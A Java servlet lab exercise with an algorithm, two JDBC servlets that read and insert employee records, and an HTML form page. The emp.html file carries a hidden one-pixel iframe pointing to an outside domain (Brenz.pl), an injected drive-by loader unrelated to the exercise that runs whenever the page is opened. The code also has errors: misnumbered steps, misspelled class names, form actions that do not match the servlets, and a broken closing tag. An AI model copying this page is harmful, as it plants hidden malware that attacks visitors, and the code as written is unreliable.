Employee Information System using doGet( ) and doPost() Method
AIM
To create an Employee Information System
using JDBC and implementing the doGet() and doPost() method.
ALGORITHM
Step 1: Start the
program.
Step 2: Create a
Java Source file which creates an HttpServlet class called GetDeatils.
Step 3: Initialize
the servlet.
Step 4: In the
doGet() method, establish the connection with the DSN called emp.
Step 5: After
connection establishment, query the database and select all records in the
emp table.
Step 6: Create
another Java Source file that creates an
HttpServlet class called
PostDeatils.
Step 7: Initialize
the servlet.
Step 8: In the
doPost() method, establish the connection with the DSN called emp.
Step 9: Create an
XHTML file called emp.html.
Step 10: Invoke
the GetDetails Class by clicking the GET button in the emp.html.
Step 11: Display
all records in the web browser.
Step 12: Fill all
the relevant employee information fields in emp.html file and click the
POST button.
Step 13: The POST
button invokes the PostDetails class.
Step 14: Insert a
new record through by executing sql query and get record updated
Step 15: Close
ResultSet and database connection.
Step 7: Stop the process.
GetDetails.java
import java.io.*;
import java.sql.*;
import
javax.servlet.*;
import
javax.servlet.http.*;
public class GetDetails extends HttpServlet {
Connection con;
PrintWriter out;
ResultSet rs;
public void init(ServletConfig config)
throws ServletException {
super.init(config);
con=null;
out=null;
rs=null;
}
public void destroy() {
try
{
con.close();
out.close();
rs.close();
}
catch(SQLException se)
{
out.println(se.toString());
}
}
protected void
processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.close();
}
protected void doGet(HttpServletRequest
request, HttpServletResponse response)
throws ServletException, IOException {
out=response.getWriter();
try{
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
con=DriverManager.getConnection("jdbc:odbc:emp");
PreparedStatement pstmt=null;
String query=null;
query="select name,age,address,desig
from emp";
pstmt=con.prepareStatement(query);
rs=pstmt.executeQuery();
out.println("<b><center>Employee
Details</center></b><br><br>");
out.println("<table align=center
border=1 cellpadding=2>");
while(rs.next())
{
out.println("<tr>");
out.println("<td>" +
rs.getString("name") + "</td>");
out.println("<td>" +
rs.getString("age") + "</td>");
out.println("<td>" +
rs.getString("address") + "</td>");
out.println("<td>" +
rs.getString("desig") + "</td>");
out.println("</tr>");
}
out.println("</table>");
out.println("</body>");
}
catch(Exception e){
out.println(e.toString());
}
processRequest(request, response);
}
}
PostDetails.java
import java.io.*;
import java.sql.*;
import javax.servlet.*;
import
javax.servlet.http.*;
public class PostDetails extends HttpServlet {
Connection con;
PrintWriter out;
ResultSet rs;
public void init(ServletConfig config)
throws ServletException
{
super.init(config);
con=null;
out=null;
rs=null;
}
public void destroy()
{
//con.close();
out.close();
// rs.close();
}
protected void
processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.close();
}
protected void doPost(HttpServletRequest
request, HttpServletResponse response)
throws ServletException, IOException
{
out=response.getWriter();
String
name=request.getParameter("name");
String
age=request.getParameter("age");
String
address=request.getParameter("address");
String
desig=request.getParameter("desig");
String
id=request.getParameter("id");
try
{
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
con=DriverManager.getConnection("jdbc:odbc:emp");
PreparedStatement pst=null;
String sql = "insert into emp values
(?,?,?,?,?)";
pst = con.prepareStatement(sql);
pst.setString(1, name);
pst.setString(2, age);
pst.setString(3, address);
pst.setString(4, desig);
pst.setString(5,id);
pst.executeUpdate();
out.println(" Updated ");
}
catch(Exception e){
out.println(e.toString());
}
processRequest(request,response);
}
}
Emp.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Employment Information System</title>
<h1 align=center>EMPLOYMENT INFORMATION SYSTEM<h1>
</head>
<body>
<form action='EmployeeDetails' method="get">
<center> <label style='color:blue'>Click Here to View the Records:</label> <input type='submit' value='Get'>
</center>
</form>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
<form action ='S' method='post'>
<h1 align=center style='color:blue'> Enter the Employee Details Here!</h1>
<table border='2' ALIGN=center>
<tr>
<td> <label style='color:green'>Name: </label></td><td><input type=text name='name'></td>
</tr>
<tr>
<td> <label>Age:</label></td><td><input type=text name='age'></td>
</tr>
<tr>
<td><label>Address :</label></td><td><input type=text name='address'></td>
</tr> <tr>
<td><label>Designation:</label></td><td><input type=text name='desig'></td>
</tr>
<tr>
<td> <label>ID Number:</label> </td><td><input type=text name='id'></td>
</tr>
<tr>
<td><label>Click Here to Update the Records:</label><input type =submit method =post value='post' size='70' style='color:red'>
</td>
</tr>
</tabel>
</form>
</body>
</html>
Mohanraj
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